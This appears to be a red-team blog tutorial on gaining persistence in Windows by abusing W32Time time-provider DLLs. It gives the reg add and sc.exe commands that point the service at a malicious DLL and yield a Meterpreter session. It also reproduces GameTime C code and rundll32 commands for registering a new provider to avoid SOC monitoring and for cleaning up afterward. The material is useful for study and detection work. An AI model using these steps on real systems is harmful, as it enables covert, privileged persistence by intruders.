Windows operating systems are utilizing the time provider architecture in order to obtain accurate time stamps from other network devices or clients in the network. Time providers are implemented in the form of a DLL file which resides in System32 folder. The service W32Time initiates during the startup of Windows and loads the w32time.dll. DLL loading is a known technique that often gives the opportunity to red team operators to execute arbitrary code.

Since the associated service is starting automatically during the startup of Windows it can be used as a persistence mechanism. However this method requires Administrator level privileges since the registry key which points to the time provider DLL file is stored in the HKEY_LOCAL_MACHINE. The following two registry locations are used depending if the system is used as NTP server or NTP client.

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpClient
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer

The W32Time runs on a Windows environment as a local service and it is executed through svchost.

W32Time Service

A malicious DLL has been dropped into disk that will execute a payload. From the command prompt the time provider registry key can be modified by executing the following command to point to the location of the arbitrary DLL.

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpClient" /v DllName /t REG_SZ /d "C:\temp\w32time.dll"
Time Providers – Registry Key Modification

Reviewing the registry from the Registry Editor will confirm that the value of the DllName has been updated.

Time Providers – Malicious DLL

The service will start during Windows startup or manually by executing the following commands.

sc.exe stop w32time
sc.exe start w32time
Time Providers – Restart Service

The arbitrary payload will executed and a Meterpreter session will established.

Time Providers – Meterpreter

Modification of the Windows time provider might cause an alert to the SOC team. Scott Lundgren from Carbon Black developed in C a time provider called gametime. This DLL can be used in order to register with the operating system a new time provider and perform the modification in a different registry key. This will evade the need to abuse the existing Windows time provider which can be monitored by the SOC. Rundll32 can be used to register the DLL.

Scott Lundgren used the registry key “GameTime” to be created on the system.

#define	GAMETIME_SVC_KEY_NAME	L"System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\GameTime"
Time Provider – GameTime Registry Key

According to Microsoft documentation time providers must implemented the following callback functions.

  • TimeProvOpen
  • TimeProvCommand
  • TimeProvClose

TimeProvOpen is used to return a provider handle, TimeProvCommand to send commands to the time provider and TimeProvClose to shutdown the time provider.

HRESULT __stdcall TimeProvOpen(
    _In_  WCHAR                *wszName,
    _In_  TimeProvSysCallbacks *pSysCallbacks,
    _Out_ TimeProvHandle       *phTimeProv
)
{
    UNREFERENCED_PARAMETER(pSysCallbacks);
    UNREFERENCED_PARAMETER(phTimeProv);

    OutputDebugStringW(wszName);

    return (HRESULT_FROM_WIN32(ERROR_NOT_CAPABLE));
}

/*
 *
 */
HRESULT __stdcall TimeProvCommand(
    _In_ TimeProvHandle hTimeProv,
    _In_ TimeProvCmd    eCmd,
    _In_ PVOID          pvArgs
)
{
    UNREFERENCED_PARAMETER(hTimeProv);
    UNREFERENCED_PARAMETER(eCmd);
    UNREFERENCED_PARAMETER(pvArgs);

    return (HRESULT_FROM_WIN32(ERROR_NOT_CAPABLE));
}

/*
 *
 */
HRESULT __stdcall TimeProvClose(
    _In_ TimeProvHandle hTimeProv
)
{
    UNREFERENCED_PARAMETER(hTimeProv);

    return (S_OK);
}
Time Provider – Callback Functions

The GameTime provider will populate on the system the following registry keys as these are part of the Microsoft specification for Time Providers.

  • DllName,
  • Enabled
  • InputProvider

The DllName indicates the name of the DLL that contains the provider, the Enabled dictates whether the provider should be started during system startup. The value “1” initiates the provider with the system and the InputProvider indicates if the provider is an input or output. Registry value of “1” means that the provider is input. These are specified in the code below:

    nRet = RegSetValueExW(hkTimeProvider,
                          L"DllName",
                          0,
                          REG_SZ,
                          (LPBYTE)g_wzModule,
                          (DWORD)wcslen(g_wzModule)*sizeof(WCHAR)+sizeof(WCHAR));
    if (ERROR_SUCCESS != nRet)
    {
        OutputError(L"RegCreateKeyExW failed", nRet);
        goto ErrorExit;
    }

    nRet = RegSetValueExW(hkTimeProvider,
                          L"Enabled",
                          0,
                          REG_DWORD,
                          (LPBYTE)&dwOne,
                          sizeof(dwOne));
    if (ERROR_SUCCESS != nRet)
    {
        OutputError(L"RegCreateKeyExW failed", nRet);
        goto ErrorExit;
    }

    nRet = RegSetValueExW(hkTimeProvider,
                          L"InputProvider",
                          0,
                          REG_DWORD,
                          (LPBYTE)&dwOne,
                          sizeof(dwOne));
    if (ERROR_SUCCESS != nRet)
    {
        OutputError(L"RegCreateKeyExW failed", nRet);
        goto ErrorExit;
    }
Time Provider – Registry Keys Values

The code uses also the Deregister callback function to delete the created registry key GameTime from the system as a clean-up process.

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\GameTime
void CALLBACK Deregister(
    _In_ HWND hWnd,
    _In_ HINSTANCE hInst,
    _In_ LPSTR pwzCmdLine,
    _In_ int nCmdShow)
{
    long	nRet;

    UNREFERENCED_PARAMETER(hWnd);
    UNREFERENCED_PARAMETER(hInst);
    UNREFERENCED_PARAMETER(pwzCmdLine);
    UNREFERENCED_PARAMETER(nCmdShow);

    OutputDebugStringW(L"Unregister\n");

    nRet = RegDeleteKeyW(HKEY_LOCAL_MACHINE, GAMETIME_SVC_KEY_NAME);
    if (ERROR_SUCCESS != nRet)
    {
        OutputError(L"RegDeleteKeyW failed!", nRet);
        goto ErrorExit;
    }

ErrorExit:

    return;
}
Deregister Callback Function

In practical the rundll32 can be used to register the DLL with the system in order to create the associated registry keys that will enable by default the new Time Provider with the system.

rundll32.exe gametime.dll,Register
Register New Time Provider

The registry key GameTime will created and the DllName will contain the path of the DLL.

New Time Provider Registry Key

Modifying again the registry to contain the arbitrary DLL will execute the code during the re-start of the service similar to the Windows time provider.

New Time Provider Registry Key Modification

The Deregister function can be used to delete all the associated keys and perform a clean-up on the system.

rundll32.exe gametime.dll,Deregister
De-Register New Time Provider

References